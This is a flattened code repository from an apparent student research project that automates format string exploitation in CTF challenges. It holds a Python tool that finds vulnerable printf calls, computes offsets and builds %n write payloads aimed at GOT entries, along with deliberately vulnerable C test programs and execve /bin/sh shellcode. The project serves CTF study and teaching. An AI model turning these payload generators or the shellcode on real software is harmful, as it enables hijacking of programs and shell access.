├── README.md ├── Research ├── Code │ ├── Makefile │ ├── address.txt │ ├── customFormatFunctions.c │ ├── customFormatFunctions.so │ ├── formatStringExploit.py │ ├── gdb.txt │ ├── problem1 │ ├── problem2 │ ├── problem2-gdb.py │ ├── problem3 │ ├── problem4 │ └── procMap.txt ├── README.md ├── TestFiles │ ├── problem1 │ ├── problem1.c │ ├── problem2 │ ├── problem2.c │ ├── problem3 │ ├── problem3.c │ ├── problem4 │ └── problem4.c └── TrialScripts │ ├── a.out │ ├── alephTry │ ├── alephTry.c │ ├── apt.des │ ├── binaries │ ├── format │ ├── newproblem1 │ ├── problem1 │ ├── problem1-gdb.py │ ├── problem2 │ ├── problem3 │ └── procMap.txt │ ├── copy.py │ ├── env │ ├── env.c │ ├── envPrint.py │ ├── exportShell.py │ ├── exportShell.sh │ ├── format │ ├── format.c │ ├── formatStringBuilder.py │ ├── formatStringExploit.py │ ├── gdb.txt │ ├── getenv │ ├── getenv.c │ ├── initialCode.py │ ├── menuDriven.py │ ├── newerproblem1 │ ├── newproblem1 │ ├── original_problem1-gdb.py │ ├── problem1 │ ├── problem1.c │ ├── problem2 │ ├── problem2.c │ ├── problem3 │ ├── problem3.c │ ├── problem4 │ ├── problem4.c │ ├── procMap.txt │ ├── program.py │ ├── readList.py │ ├── stringBuilder │ ├── stringBuilder.c │ ├── testDtor │ └── testDtor.c ├── Research_Proposal.pdf ├── Research_Proposal_Update_1.pdf └── Research_Report.pdf /README.md: -------------------------------------------------------------------------------- 1 | # Automating format string exploits 2 | 3 | ####*Problem Domain: Format string exploits* 4 | A number of binary exploitation challenges in CTFs require an attacker to alter the control 5 | ow of a program and make it do things which it should not. Format string vulnerabilities 6 | are one such class of problems. A format string vulnerability can be exploited by feeding 7 | specially crafted user-inputs to the program which can help the attacker to perform attacks 8 | ranging from viewing the stack contents to writing arbitrary data at arbitrary locations. 9 | 10 | Exploiting a format string vulnerability is generally simple and straightforward. A number 11 | of basic problems in this area can be solved by following similar steps. The main task for 12 | the attacker is to identify if the program has such a vulnerability. Sometimes this can be 13 | very obvious, but at other times it might take the attacker a long time to find one. 14 | 15 | 16 | ####*Example problems:* 17 | 18 | Though there are a not a lot of problems related to format string vulnerabilities, I tested 19 | it on problems like "Game of Tables" and "Protostar Format 4". Apart from that, I tested 20 | the tool on other format string vulnerable problems that I found online. In almost all the 21 | cases, the tool was able to save some amount of time which is generally required to solve 22 | such problems. 23 | 24 | **Prostar 4** 25 | ``` 26 | #include 27 | #include 28 | #include 29 | #include 30 | 31 | int target; 32 | 33 | void hello() 34 | { 35 | printf("code execution redirected! you win\n"); 36 | _exit(1); 37 | } 38 | 39 | void vuln(char* str) 40 | { 41 | char buffer[512]; 42 | strncpy(buffer, str, sizeof(buffer)-1); 43 | buffer[sizeof(buffer)]='\0'; 44 | printf(buffer); 45 | 46 | exit(1); 47 | } 48 | 49 | int main(int argc, char **argv) 50 | { 51 | vuln(argv[1]); 52 | } 53 | 54 | ``` 55 | 56 | ####*Existing Research:* 57 | 58 | 1. **Taint Checking:** Done at runtime, the basic concept behind taint analysis is to 59 | ag 60 | anything that has been input by a user and consider the input as something which poses 61 | a potential risk. Any other value, which is derived from this user input, is also 62 | agged or 63 | monitored. If any of these variables can be used to execute a dangerous command, the taint 64 | checker lets the user, in this case the attacker, know of the potentially dangerous tainted 65 | variables which he can control. 66 | 67 | This can be used in CTF problems having for finding which format function is being supplied a tainted first arguement. 68 | 69 | 2. **Pierre Bourdon. Python GDB tutorial for reverse engineering:** This is a nice article which explains how to write a python plugin for GDB. The plugin helps 70 | find vulnerable format functions by dynamically analyzing calls to various format functions. 71 | 72 | This could be used to find the vulnerable format functions in the CTF problems by checking if the address of the first arguement passed to a function like printf is in the read/write memory. 73 | 74 | 75 | 3. **Thyago Silva. Format Strings (Gotfault Security Community):** This article explains nicely about format string concepts including direct parameter 76 | accesses, format string vulnerabilities and the different ways that they can be exploited in. 77 | E.g., writing to memory addresses, overwriting the Dtors Section, Overwriting the Global Offset table entries etc. 78 | The article also shows how to develop a format string builder which can again be used to generate exploits for format strings. 79 | 80 | 81 | ####*What I did:* 82 | 83 | 1. Used dynamic analysis on format function such as printf. Prepared a shared library and set it with the help of the LD_PRELOAD environment variable. It intercepts calls to the printf function and stores the address of the first arguement. Later, it checks if this address is present in the read/write memory by comparing the address with those mentioned in the /proc/pid/maps file. 84 | 2. The tool does multiple executions of the program to find the distance between the format string and its address. 85 | 3. Generates an exploit string when provided with the address to overwrite, the address to write and the offset in words. 86 | 4. Generates exploit strings by using GOT addresses as addresses to overwrite. In this case, the user just has to provide the address to write and the offset. 87 | 88 | 89 | ####*Demo - Prostar 4* 90 | -------------------------------------------------------------------------------- /Research/Code/Makefile: -------------------------------------------------------------------------------- 1 | (all): 2 | gcc -m32 -shared -fPIC customFormatFunctions.c -o customFormatFunctions.so -ldl 3 | 4 | -------------------------------------------------------------------------------- /Research/Code/address.txt: -------------------------------------------------------------------------------- 1 | 0xffbbc64c 2 | 0x8048668 3 | -------------------------------------------------------------------------------- /Research/Code/customFormatFunctions.c: -------------------------------------------------------------------------------- 1 | #ifndef _GNU_SOURCE 2 | #define _GNU_SOURCE 3 | #endif 4 | 5 | #include 6 | #include 7 | 8 | static int (*orig_printf)(const char *format, ...) = NULL; 9 | 10 | int printf(const char *format, ...) 11 | { 12 | 13 | if (orig_printf == NULL) 14 | { 15 | orig_printf = (int (*)(const char *format, ...))dlsym(RTLD_NEXT, "printf"); 16 | } 17 | 18 | FILE *fp; 19 | fp = fopen("address.txt", "a+"); 20 | fprintf(fp,"%p\n",format); 21 | fclose(fp); 22 | 23 | return orig_printf(format); 24 | } 25 | 26 | -------------------------------------------------------------------------------- /Research/Code/customFormatFunctions.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PrateekJain90/ExploitingFormatStringVulnerabilities/7269e95ae7a751b3f08aa8c118fe339da9a461a4/Research/Code/customFormatFunctions.so -------------------------------------------------------------------------------- /Research/Code/formatStringExploit.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | from subprocess import Popen,PIPE,call 4 | 5 | class bcolors: 6 | HEADER = '\033[95m' 7 | OKBLUE = '\033[94m' 8 | OKGREEN = '\033[92m' 9 | WARNING = '\033[93m' 10 | FAIL = '\033[91m' 11 | ENDC = '\033[0m' 12 | BOLD = '\033[1m' 13 | UNDERLINE = '\033[4m' 14 | 15 | ######################## 16 | 17 | def removeTempFiles(): 18 | return Popen(["rm *.txt"],stdout=PIPE,close_fds=True,shell=True).communicate()[0].strip() 19 | 20 | ######################## 21 | 22 | def executeProgram(binaryName, formatString): 23 | return Popen([binaryName, formatString],stdout=PIPE,close_fds=True).communicate()[0].strip() 24 | 25 | 26 | ######################## 27 | 28 | def parseAddressSpace(binaryName): 29 | 30 | filename = binaryName + "-gdb.py"; 31 | components = binaryName.split("/"); 32 | renameFile = "/".join(components[0:-1]) + "/*gdb.py"; 33 | 34 | if os.path.isfile(filename) == False: 35 | Popen(["mv " + renameFile + " " + filename],stdout=PIPE,close_fds=True,shell=True).communicate()[0].strip() 36 | 37 | return Popen(["gdb", "-q", binaryName],stdout=PIPE,close_fds=True).communicate()[0].strip() 38 | 39 | ######################## 40 | 41 | def prepareSharedLibrary(): 42 | return Popen(["make","-C","."],stdout=PIPE,close_fds=True).communicate()[0].strip() 43 | 44 | ######################## 45 | 46 | # Compares address.txt and procMap.txt contents 47 | # Checks if any address is in memory with w bit set. 48 | def findVulnPrintf(): 49 | with open('procMap.txt') as f: 50 | zones = [] 51 | contents = f.read(); 52 | for line in contents.split('\n'): 53 | if not line: 54 | continue 55 | memrange, perms, _ = line.split(None, 2) 56 | start, end = memrange.split('-') 57 | zones.append({ 58 | 'start': int(start, 16), 59 | 'end': int(end, 16), 60 | 'perms': perms 61 | }) 62 | 63 | with open('address.txt') as f: 64 | address = f.read().splitlines() 65 | 66 | 67 | for index in range(len(address)): 68 | for mapping in zones: 69 | if mapping["start"] <= int(address[index],16) < mapping["end"]: 70 | break 71 | 72 | # Check the memory permissions 73 | if "w" in mapping["perms"]: 74 | print bcolors.FAIL + bcolors.BOLD + "Format function number %d" % (index+1) + bcolors.ENDC + bcolors.FAIL + " (in order of execution) has format string in writable memory." + bcolors.ENDC; 75 | 76 | ######################## 77 | 78 | def calculateOffset(binaryName, formatString): 79 | output = ""; 80 | arg = 1; 81 | 82 | while(1): 83 | 84 | if(arg>50): 85 | return -1; 86 | 87 | format = formatString + "%" + str(arg) + "$x"; 88 | output = executeProgram(binaryName,format); 89 | 90 | if( formatString+"41414141" in output): 91 | print("Offset between format string and its address is:" + bcolors.OKGREEN + bcolors.BOLD + " %d words" % arg + bcolors.ENDC); 92 | print("Format string used:" + bcolors.OKBLUE + bcolors.BOLD + " %s" % format + bcolors.ENDC); 93 | return arg; 94 | 95 | arg = arg + 1; 96 | 97 | ######################## 98 | 99 | def prepareFormatString(dummyString, addressToWrite, addressToOverwrite, distanceInWords): 100 | 101 | #Pad 0's to make address length to 8 102 | length = 8 - len(addressToWrite); 103 | addressToWrite = length*'0' + addressToWrite; 104 | 105 | length = 8 - len(addressToOverwrite); 106 | addressToOverwrite = length*'0' + addressToOverwrite; 107 | 108 | splitsAddressToOverwrite = [addressToOverwrite[x:x+2] for x in range(0,len(addressToOverwrite),2)] 109 | splitsAddressToWrite = [addressToWrite[x:x+2] for x in range(0,len(addressToWrite),2)] 110 | 111 | byte = [None]*4; 112 | 113 | for index in range(0, 4): 114 | byte[index] = format(int(splitsAddressToOverwrite[3], 16) + index ,'x'); 115 | byte[index] = byte[index] if (len(byte[index]) == 2) else "0"+byte[index]; 116 | 117 | addressString = dummyString; 118 | addressStringToPrint = dummyString; 119 | 120 | for index in range(0, 4): 121 | addressString = (addressString + chr(int(byte[index],16)) + chr(int(splitsAddressToOverwrite[2],16))+chr(int(splitsAddressToOverwrite[1],16))+chr(int(splitsAddressToOverwrite[0],16))); 122 | addressStringToPrint = (addressStringToPrint + "\\x" + byte[index]+ "\\x" + splitsAddressToOverwrite[2]+"\\x"+splitsAddressToOverwrite[1]+"\\x"+splitsAddressToOverwrite[0]); 123 | 124 | initialNum = len(dummyString)+16; 125 | offset = [None]*4; 126 | 127 | offset[0] = int(splitsAddressToWrite[3],16) - initialNum; 128 | if offset[0] < 8: 129 | offset[0] = int(splitsAddressToWrite[3],16) + 256 - initialNum; 130 | 131 | j = 1; 132 | for index in xrange(3, 0, -1): 133 | offset[j] = int(splitsAddressToWrite[index-1],16) - int(splitsAddressToWrite[index],16); 134 | if offset[j] < 8: 135 | offset[j] = int(splitsAddressToWrite[index-1],16) + 256 - int(splitsAddressToWrite[index],16); 136 | j = j + 1; 137 | 138 | distanceInWords = distanceInWords + len(dummyString)/4; 139 | exploitString = ""; 140 | 141 | for index in range(0, 4): 142 | exploitString = (exploitString + "%" + str(distanceInWords) + "$" + str(offset[index]) + "x%" + str(distanceInWords+index) + "$n"); 143 | 144 | finalExploitString = addressString + exploitString; 145 | finalExploitStringToPrint = addressStringToPrint + exploitString; 146 | return finalExploitString,finalExploitStringToPrint; 147 | 148 | ######################## 149 | 150 | def exportShellCode(): 151 | return -1; 152 | 153 | 154 | def exportFormatStringToFile(formatString): 155 | 156 | for i in range(len(formatString)): 157 | filename = "/tmp/input" + str(i+1) + ".txt"; 158 | f = open(filename, 'w+') 159 | f.write(formatString[i]); 160 | f.close(); 161 | 162 | 163 | ######################## 164 | 165 | def findExportedShellCodeAddress(): 166 | with open('gdb.txt') as f: 167 | contents = f.read(); 168 | 169 | lines = ""; 170 | components = []; 171 | for line in contents.split('\n'): 172 | if not "SHELLCODE" in line: 173 | continue; 174 | lines = line; 175 | components = lines.split(":",2); 176 | return components; 177 | 178 | ######################## 179 | 180 | def findAllGOTAddresses(binaryName): 181 | p1 = Popen(["objdump", "--dynamic-reloc", binaryName], stdout=PIPE) 182 | p2 = Popen(["cut", "-d ", "-f1"], stdin=p1.stdout, stdout=PIPE).communicate()[0] 183 | p1 = Popen(["objdump", "--dynamic-reloc", binaryName], stdout=PIPE) 184 | p3 = Popen(["cut", "-d ", "-f5"], stdin=p1.stdout, stdout=PIPE).communicate()[0] 185 | 186 | zones = []; 187 | names = []; 188 | 189 | for line in p2.split('\n'): 190 | if not line: 191 | continue 192 | zones.append(line) 193 | 194 | for line in p3.split('\n'): 195 | if not line: 196 | continue 197 | names.append(line) 198 | 199 | del zones[0:4]; 200 | 201 | return zones,names; 202 | 203 | ######################## 204 | 205 | def main(): 206 | 207 | if(len(sys.argv) < 2): 208 | print("Usage: python formatStringExploit.py binaryName") 209 | return; 210 | 211 | binaryName = os.environ["PWD"] + "/" + (sys.argv)[1]; 212 | 213 | if os.path.isfile(binaryName) == False: 214 | print("%s does not exist!" % sys.argv[1]); 215 | return; 216 | 217 | dummyString = ""; 218 | r = 11; 219 | 220 | print(bcolors.BOLD + "\n\ 221 | 1. Auto find if vulnerable.\n\ 222 | 2. Auto find distance between format string and its address in words.\n\ 223 | 3. Provide addToWrite,addToOverwrite and distance in words to get exploit string.\n\ 224 | 4. Provide addToWrite and distance in words to auto create potential exploit strings using GOT addresses.\n\ 225 | 5. Find shellcode Address if present in environment variable (will check for SHELLCODE)\n\ 226 | 6. Quit" + bcolors.ENDC); 227 | 228 | while True: 229 | choice = raw_input(bcolors.BOLD + "-> " + bcolors.ENDC).lower().rstrip() 230 | 231 | if choice=="1": 232 | removeTempFiles(); 233 | parseAddressSpace(binaryName); 234 | prepareSharedLibrary(); 235 | os.environ["LD_PRELOAD"] = os.environ["PWD"] + "/customFormatFunctions.so"; 236 | output = executeProgram(binaryName, "test"); 237 | del os.environ["LD_PRELOAD"]; 238 | findVulnPrintf(); 239 | 240 | elif choice=="2": 241 | r = calculateOffset(binaryName, "AAAA"); 242 | dummyString = "AAAA"; 243 | if(r == -1): 244 | r = calculateOffset(binaryName, "AAAAA"); 245 | dummyString = "AAAAA"; 246 | if(r == -1): 247 | print(bcolors.OKGREEN + "Cannot find offset" + bcolors.ENDC); 248 | dummyString = ""; 249 | 250 | elif choice=="3": 251 | print(bcolors.BOLD + "Enter addressToWrite, addressToOverwrite, Offset: (e.g., 080905040 080905044 11)" + bcolors.ENDC) 252 | choice = raw_input(); 253 | values = choice.split(); 254 | if(len(values) != 3): 255 | print("Please try again.") 256 | continue; 257 | exploitString,exploitStringToPrint = prepareFormatString(dummyString,values[0],values[1],int(values[2])); 258 | print bcolors.FAIL + bcolors.BOLD + exploitStringToPrint + bcolors.ENDC; 259 | strings = []; 260 | strings.append(exploitString); 261 | exportFormatStringToFile(strings); 262 | print (bcolors.OKGREEN + "Exploit exported to /tmp/input1.txt. Use ./" + (sys.argv)[1] + " \"$(< /tmp/input1.txt)\" to check it." + bcolors.ENDC); 263 | 264 | 265 | elif choice=="4": 266 | 267 | print(bcolors.BOLD + "Enter addressToWrite and the Offset: (e.g., 080905040 11)" + bcolors.ENDC) 268 | choice = raw_input(); 269 | values = choice.split(); 270 | 271 | if(len(values) != 2): 272 | print("Please try again") 273 | continue; 274 | 275 | gotAddresses,names = findAllGOTAddresses(binaryName); 276 | strings = []; 277 | i = 0; 278 | for i in range(len(gotAddresses)): 279 | exploit,exploitStringToPrint = prepareFormatString(dummyString,values[0],gotAddresses[i],int(values[1])); 280 | print("Exploit %d for "%(i+1) + bcolors.BOLD + bcolors.OKGREEN + "%s\n" % names[i] + bcolors.FAIL + " %s\n-------" % exploitStringToPrint + bcolors.ENDC); 281 | strings.append(exploit); 282 | 283 | exportFormatStringToFile(strings); 284 | print ("Exploits exported to /tmp/input1.txt - /tmp/input%d.txt. Use ./%s $(< /tmp/input[fileNo].txt)\" to check them." % ((i+1),sys.argv[1])); 285 | 286 | 287 | elif choice=="5": 288 | parseAddressSpace(binaryName); 289 | address = findExportedShellCodeAddress(); 290 | if(len(address)==2): 291 | print "%s" % address[1].strip(); 292 | print "Address of Shellcode variable is:" + bcolors.BOLD + bcolors.OKGREEN + "%s" % address[0] + bcolors.ENDC; 293 | print "Shellcode starts from:" + bcolors.BOLD + bcolors.OKGREEN + "%s" % format(int(address[0],16)+16,'x') + bcolors.ENDC; 294 | else: 295 | print ("Cannot find address of SHELLCODE"); 296 | 297 | elif choice=="6": 298 | break; 299 | 300 | else: 301 | print("Incorrect option"); 302 | 303 | 304 | if __name__ == '__main__': 305 | main() 306 | -------------------------------------------------------------------------------- /Research/Code/gdb.txt: -------------------------------------------------------------------------------- 1 | 0xffffd404: "XDG_VTNR=8" 2 | 0xffffd40f: "XDG_SESSION_ID=c1" 3 | 0xffffd421: "SSH_AGENT_PID=2476" 4 | 0xffffd434: "GPG_AGENT_INFO=/run/user/1000/keyring-14uxUj/gpg:0:1" 5 | 0xffffd469: "SHELLCODE=AAAA" 6 | 0xffffd478: "VTE_VERSION=3409" 7 | 0xffffd489: "SHELL=/bin/bash" 8 | 0xffffd499: "TERM=xterm" 9 | 0xffffd4a4: "XDG_SESSION_COOKIE=e621007b7036bae9a3eee321548e7e2f-1430269130.253401-1320657900" 10 | 0xffffd4f5: "WINDOWID=41943048" 11 | -------------------------------------------------------------------------------- /Research/Code/problem1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PrateekJain90/ExploitingFormatStringVulnerabilities/7269e95ae7a751b3f08aa8c118fe339da9a461a4/Research/Code/problem1 -------------------------------------------------------------------------------- /Research/Code/problem2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PrateekJain90/ExploitingFormatStringVulnerabilities/7269e95ae7a751b3f08aa8c118fe339da9a461a4/Research/Code/problem2 -------------------------------------------------------------------------------- /Research/Code/problem2-gdb.py: -------------------------------------------------------------------------------- 1 | import gdb 2 | 3 | class CheckFmtBreakpoint(gdb.Breakpoint): 4 | 5 | 6 | def __init__(self, spec): 7 | super(CheckFmtBreakpoint, self).__init__( 8 | spec, gdb.BP_BREAKPOINT, internal=False 9 | ) 10 | gdb.events.exited.connect(lambda x : gdb.execute("quit")) 11 | gdb.execute('r AA') 12 | 13 | def stop(self): 14 | 15 | gdb.execute('set logging overwrite on') 16 | gdb.execute('set logging on') 17 | for i in range(0,10): 18 | gdb.execute('x/s *((char **)environ+%d)'%i) 19 | gdb.execute('set logging off') 20 | gdb.execute('set logging overwrite off') 21 | gdb.execute('set logging on') 22 | 23 | gdb.execute('set logging off') 24 | 25 | proc_map = []; 26 | with open("/proc/%d/maps" % gdb.selected_inferior().pid) as fp: 27 | f = open( 'procMap.txt', 'w' ) 28 | f.write(fp.read()) 29 | 30 | 31 | CheckFmtBreakpoint("main") 32 | -------------------------------------------------------------------------------- /Research/Code/problem3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PrateekJain90/ExploitingFormatStringVulnerabilities/7269e95ae7a751b3f08aa8c118fe339da9a461a4/Research/Code/problem3 -------------------------------------------------------------------------------- /Research/Code/problem4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PrateekJain90/ExploitingFormatStringVulnerabilities/7269e95ae7a751b3f08aa8c118fe339da9a461a4/Research/Code/problem4 -------------------------------------------------------------------------------- /Research/Code/procMap.txt: -------------------------------------------------------------------------------- 1 | 08048000-08049000 r-xp 00000000 08:01 298104 /home/prateekj/Desktop/ResearchProject/Research/FinalFiles/problem2 2 | 08049000-0804a000 r--p 00000000 08:01 298104 /home/prateekj/Desktop/ResearchProject/Research/FinalFiles/problem2 3 | 0804a000-0804b000 rw-p 00001000 08:01 298104 /home/prateekj/Desktop/ResearchProject/Research/FinalFiles/problem2 4 | f7e07000-f7e08000 rw-p 00000000 00:00 0 5 | f7e08000-f7fb1000 r-xp 00000000 08:01 917910 /lib/i386-linux-gnu/libc-2.19.so 6 | f7fb1000-f7fb3000 r--p 001a9000 08:01 917910 /lib/i386-linux-gnu/libc-2.19.so 7 | f7fb3000-f7fb4000 rw-p 001ab000 08:01 917910 /lib/i386-linux-gnu/libc-2.19.so 8 | f7fb4000-f7fb7000 rw-p 00000000 00:00 0 9 | f7fd9000-f7fdb000 rw-p 00000000 00:00 0 10 | f7fdb000-f7fdc000 r-xp 00000000 00:00 0 [vdso] 11 | f7fdc000-f7ffc000 r-xp 00000000 08:01 917947 /lib/i386-linux-gnu/ld-2.19.so 12 | f7ffc000-f7ffd000 r--p 0001f000 08:01 917947 /lib/i386-linux-gnu/ld-2.19.so 13 | f7ffd000-f7ffe000 rw-p 00020000 08:01 917947 /lib/i386-linux-gnu/ld-2.19.so 14 | fffdd000-ffffe000 rw-p 00000000 00:00 0 [stack] 15 | -------------------------------------------------------------------------------- /Research/README.md: -------------------------------------------------------------------------------- 1 | To test, keep the following files in one folder: 2 | 3 | ``` 4 | customFormatFunctions.c 5 | customFormatFunctions.so 6 | formatStringExploit.py 7 | Makefile 8 | gdb.py 9 | ``` 10 | 11 | Next, copy any binary that you want to test in the same folder. 12 | 13 | To run the tool, use the command: 14 | 15 | `python formatStringExploit.py binaryName` -------------------------------------------------------------------------------- /Research/TestFiles/problem1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PrateekJain90/ExploitingFormatStringVulnerabilities/7269e95ae7a751b3f08aa8c118fe339da9a461a4/Research/TestFiles/problem1 -------------------------------------------------------------------------------- /Research/TestFiles/problem1.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #define MAX_LENGTH 512 6 | 7 | void getShell() 8 | { 9 | gid_t gid = getegid(); 10 | setresgid(gid, gid, gid); 11 | system("/bin/sh -i"); 12 | } 13 | 14 | int main(int argc, char *argv[]) { 15 | 16 | char name[MAX_LENGTH+1]; 17 | 18 | if(argc != 2) 19 | return -1; 20 | 21 | strncpy(name, argv[1], MAX_LENGTH); 22 | name[MAX_LENGTH] = '\0'; 23 | 24 | printf("Welcome back: "); 25 | printf(name); 26 | printf("\nToday's quote is:\nWith great power comes great responsibility\n"); 27 | 28 | exit(0); 29 | } 30 | -------------------------------------------------------------------------------- /Research/TestFiles/problem2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PrateekJain90/ExploitingFormatStringVulnerabilities/7269e95ae7a751b3f08aa8c118fe339da9a461a4/Research/TestFiles/problem2 -------------------------------------------------------------------------------- /Research/TestFiles/problem2.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main(int argc, char *argv[]) { 6 | 7 | char buffer[64]; 8 | static int value = 50; 9 | 10 | if(argc != 2) 11 | return -1; 12 | 13 | strcpy(buffer, argv[1]); 14 | 15 | printf("Right way:\n"); 16 | printf("%s\n", buffer); 17 | 18 | printf("Wrong way:\n"); 19 | printf(buffer); 20 | 21 | printf("\n"); 22 | 23 | printf("(-) value @ 0x%08x = %d 0x%08x\n", 24 | &value, value, value); 25 | 26 | return 0; 27 | } 28 | 29 | -------------------------------------------------------------------------------- /Research/TestFiles/problem3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PrateekJain90/ExploitingFormatStringVulnerabilities/7269e95ae7a751b3f08aa8c118fe339da9a461a4/Research/TestFiles/problem3 -------------------------------------------------------------------------------- /Research/TestFiles/problem3.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | int target; 7 | 8 | void hello() 9 | { 10 | printf("code execution redirected! you win\n"); 11 | _exit(1); 12 | } 13 | 14 | void vuln(char* str) 15 | { 16 | char buffer[512]; 17 | 18 | strncpy(buffer, str, sizeof(buffer)-1); 19 | buffer[sizeof(buffer)]='\0'; 20 | 21 | printf(buffer); 22 | 23 | exit(1); 24 | } 25 | 26 | int main(int argc, char **argv) 27 | { 28 | vuln(argv[1]); 29 | } 30 | -------------------------------------------------------------------------------- /Research/TestFiles/problem4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PrateekJain90/ExploitingFormatStringVulnerabilities/7269e95ae7a751b3f08aa8c118fe339da9a461a4/Research/TestFiles/problem4 -------------------------------------------------------------------------------- /Research/TestFiles/problem4.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #define BUF_SIZE 1024 5 | 6 | int main(int argc, char **argv) { 7 | char buf[BUF_SIZE]; 8 | if(argc < 2) return 1; 9 | 10 | strncpy(buf, argv[1], BUF_SIZE-1); 11 | printf(buf); 12 | 13 | return 0; 14 | } 15 | -------------------------------------------------------------------------------- /Research/TrialScripts/a.out: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PrateekJain90/ExploitingFormatStringVulnerabilities/7269e95ae7a751b3f08aa8c118fe339da9a461a4/Research/TrialScripts/a.out -------------------------------------------------------------------------------- /Research/TrialScripts/alephTry: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PrateekJain90/ExploitingFormatStringVulnerabilities/7269e95ae7a751b3f08aa8c118fe339da9a461a4/Research/TrialScripts/alephTry -------------------------------------------------------------------------------- /Research/TrialScripts/alephTry.c: -------------------------------------------------------------------------------- 1 | char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" 2 | "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" 3 | "\x80\xe8\xdc\xff\xff\xff/bin/sh"; 4 | 5 | void main() { 6 | int *ret; 7 | 8 | ret = (int *)&ret + 2; 9 | (*ret) = (int)shellcode; 10 | 11 | } 12 | -------------------------------------------------------------------------------- /Research/TrialScripts/apt.des: -------------------------------------------------------------------------------- 1 | libgmp-dev 2 | libzip-dev 3 | libcurl4-gnutls-dev 4 | llvm-3.4-dev 5 | time 6 | clang 7 | llvm 8 | m4 9 | -------------------------------------------------------------------------------- /Research/TrialScripts/binaries/format: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PrateekJain90/ExploitingFormatStringVulnerabilities/7269e95ae7a751b3f08aa8c118fe339da9a461a4/Research/TrialScripts/binaries/format -------------------------------------------------------------------------------- /Research/TrialScripts/binaries/newproblem1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PrateekJain90/ExploitingFormatStringVulnerabilities/7269e95ae7a751b3f08aa8c118fe339da9a461a4/Research/TrialScripts/binaries/newproblem1 -------------------------------------------------------------------------------- /Research/TrialScripts/binaries/problem1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PrateekJain90/ExploitingFormatStringVulnerabilities/7269e95ae7a751b3f08aa8c118fe339da9a461a4/Research/TrialScripts/binaries/problem1 -------------------------------------------------------------------------------- /Research/TrialScripts/binaries/problem1-gdb.py: -------------------------------------------------------------------------------- 1 | import gdb 2 | 3 | class CheckFmtBreakpoint(gdb.Breakpoint): 4 | 5 | 6 | def __init__(self, spec): 7 | super(CheckFmtBreakpoint, self).__init__( 8 | spec, gdb.BP_BREAKPOINT, internal=False 9 | ) 10 | gdb.events.exited.connect(lambda x : gdb.execute("quit")) 11 | gdb.execute('r AA') 12 | 13 | def stop(self): 14 | 15 | gdb.execute('set logging overwrite on') 16 | gdb.execute('set logging on') 17 | for i in range(0,10): 18 | gdb.execute('x/s *((char **)environ+%d)'%i) 19 | gdb.execute('set logging off') 20 | gdb.execute('set logging overwrite off') 21 | gdb.execute('set logging on') 22 | 23 | gdb.execute('set logging off') 24 | 25 | proc_map = []; 26 | with open("/proc/%d/maps" % gdb.selected_inferior().pid) as fp: 27 | f = open( 'procMap.txt', 'w' ) 28 | f.write(fp.read()) 29 | 30 | 31 | CheckFmtBreakpoint("main") 32 | -------------------------------------------------------------------------------- /Research/TrialScripts/binaries/problem2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PrateekJain90/ExploitingFormatStringVulnerabilities/7269e95ae7a751b3f08aa8c118fe339da9a461a4/Research/TrialScripts/binaries/problem2 -------------------------------------------------------------------------------- /Research/TrialScripts/binaries/problem3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PrateekJain90/ExploitingFormatStringVulnerabilities/7269e95ae7a751b3f08aa8c118fe339da9a461a4/Research/TrialScripts/binaries/problem3 -------------------------------------------------------------------------------- /Research/TrialScripts/binaries/procMap.txt: -------------------------------------------------------------------------------- 1 | 08048000-08049000 r-xp 00000000 08:01 297937 /home/prateekj/Desktop/ResearchProject/Research/FinalFiles/binaries/problem1 2 | 08049000-0804a000 r--p 00000000 08:01 297937 /home/prateekj/Desktop/ResearchProject/Research/FinalFiles/binaries/problem1 3 | 0804a000-0804b000 rw-p 00001000 08:01 297937 /home/prateekj/Desktop/ResearchProject/Research/FinalFiles/binaries/problem1 4 | f7e07000-f7e08000 rw-p 00000000 00:00 0 5 | f7e08000-f7fb1000 r-xp 00000000 08:01 917910 /lib/i386-linux-gnu/libc-2.19.so 6 | f7fb1000-f7fb3000 r--p 001a9000 08:01 917910 /lib/i386-linux-gnu/libc-2.19.so 7 | f7fb3000-f7fb4000 rw-p 001ab000 08:01 917910 /lib/i386-linux-gnu/libc-2.19.so 8 | f7fb4000-f7fb7000 rw-p 00000000 00:00 0 9 | f7fd9000-f7fdb000 rw-p 00000000 00:00 0 10 | f7fdb000-f7fdc000 r-xp 00000000 00:00 0 [vdso] 11 | f7fdc000-f7ffc000 r-xp 00000000 08:01 917947 /lib/i386-linux-gnu/ld-2.19.so 12 | f7ffc000-f7ffd000 r--p 0001f000 08:01 917947 /lib/i386-linux-gnu/ld-2.19.so 13 | f7ffd000-f7ffe000 rw-p 00020000 08:01 917947 /lib/i386-linux-gnu/ld-2.19.so 14 | fffdd000-ffffe000 rw-p 00000000 00:00 0 [stack] 15 | -------------------------------------------------------------------------------- /Research/TrialScripts/copy.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | from subprocess import Popen,PIPE,call 4 | 5 | binaryName = "/home/prateekj/Desktop/ResearchProject/Research/FinalFiles/binaries/format" 6 | filename = binaryName + "-gdb.py"; 7 | components = binaryName.split("/"); 8 